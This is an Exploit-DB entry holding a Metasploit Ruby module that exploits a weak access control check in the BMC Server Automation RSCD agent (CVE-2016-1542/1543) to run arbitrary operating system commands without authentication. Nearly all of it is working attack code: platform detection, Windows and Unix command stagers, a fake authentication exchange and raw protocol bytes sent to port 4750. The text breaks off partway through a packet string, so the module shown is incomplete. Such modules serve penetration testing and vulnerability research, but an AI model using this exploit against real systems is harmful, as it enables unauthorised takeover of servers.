Exploit-DB #43939
Description: BMC Server Automation RSCD Agent - NSH Remote Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2018-02-01
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'BMC Server Automation RSCD Agent NSH Remote ' \
                           'Command Execution',
      'Description'     => %q(
        This module exploits a weak access control check in the BMC Server
        Automation RSCD agent that allows arbitrary operating system commands
        to be executed without authentication.
        Note: Under Windows, non-powershell commands may need to be prefixed
              with 'cmd /c'.
      ),
      'Author'          =>
        [
          'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery
          'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module
        ],
      'References'      =>
        [
          ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],
          ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],
          ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],
          ['CVE', '2016-1542'],
          ['CVE', '2016-1543']
        ],
      'DisclosureDate'  => 'Mar 16 2016',
      'Privileged'      => false,
      'Stance'          => Msf::Exploit::Stance::Aggressive,
      'Platform'        => %w[win linux unix],
      'Targets'         =>
        [
          ['Automatic', {}],
          [
            'Windows/VBS Stager', {
              'Platform' => 'win',
              'Payload' => { 'Space' => 8100 }
            }
          ],
          [
            'Unix/Linux', {
              'Platform' => %w[linux unix],
              'Payload' => { 'Space' => 32_700 }
            }
          ],
          [
            'Generic Command', {
              'Arch' => ARCH_CMD,
              'Platform' => %w[linux unix win]
            }
          ]
        ],
      'DefaultTarget'   => 0,
      'License'         => MSF_LICENSE,
      'Payload'         => {
        'BadChars' => "\x00\x09\x0a"
      },
      'CmdStagerFlavor' => %w[vbs echo])
    )

    register_options(
      [
        Opt::RPORT(4750)
      ]
    )

    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
  end

  def check
    # Send agentinfo request and check result
    vprint_status('Checking for BMC with agentinfo request.')
    res = send_agentinfo_request

    # Check for successful platform detection
    if res[0] == 1
      vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
      return CheckCode::Detected
    end

    # Get first four bytes of the packet which should hold the content length
    res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0

    # Return unknown if the packet format appears correct (length field check)
    if res[1] && res[1].length - 4 == res_len
      vprint_warning('Target appears to be BMC, however an unexpected ' \
                     'agentinfo response was returned.')
      vprint_warning('Response: ' + res[1])
      return CheckCode::Unknown
    end

    # Invalid response, probably not a BMC RSCD target
    vprint_error('The target does not appear to be a BMC RSCD agent.')
    vprint_error('Response: ' + res[1]) if res[1]
    CheckCode::Safe
  end

  def exploit
    # Do auto target selection
    target_name = target.name

    if target_name == 'Automatic'
      # Attempt to detect the target platform
      vprint_status('Detecting remote platform for auto target selection.')
      platform = send_agentinfo_request

      # Fail if platform detection was unsuccessful
      if platform[0].zero?
        fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \
                  'detecting target platform.')
      end

      # Set target based on returned platform
      target_name = if platform[1].downcase.include?('windows')
                      'Windows/VBS Stager'
                    else
                      'Unix/Linux'
                    end
    end

    # Exploit based on target
    vprint_status('Generating and delivering payload.')
    if target_name == 'Windows/VBS Stager'
      if payload.raw.start_with?('powershell', 'cmd')
        execute_command(payload.raw)
      else
        execute_cmdstager(flavor: :vbs, linemax: payload.space)
      end
      handler
    elsif target_name == 'Unix/Linux'
      execute_cmdstager(flavor: :echo, linemax: payload.space)
      handler
    elsif target_name == 'Generic Cmd'
      send_nexec_request(payload.raw, true)
    end
  end

  # Execute a command but don't print output
  def execute_command(command, opts = {})
    if opts[:flavor] == :vbs
      if command.start_with?('powershell') == false
        if command.start_with?('cmd') == false
          send_nexec_request('cmd /c ' + command, false)
          return
        end
      end
    end
    send_nexec_request(command, false)
  end

  # Connect to the RSCD agent and execute a command via nexec
  def send_nexec_request(command, show_output)
    # Connect and auth
    vprint_status('Connecting to RSCD agent and sending fake auth.')
    connect_to_rscd
    send_fake_nexec_auth

    # Generate and send the payload
    vprint_status('Sending command to execute.')
    sock.put(generate_cmd_pkt(command))

    # Finish the nexec request
    sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \
             "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \
             "\x35\x38\x3b\x32\x34\x38\x35\x31")
    sock.put("\x00\x00\x00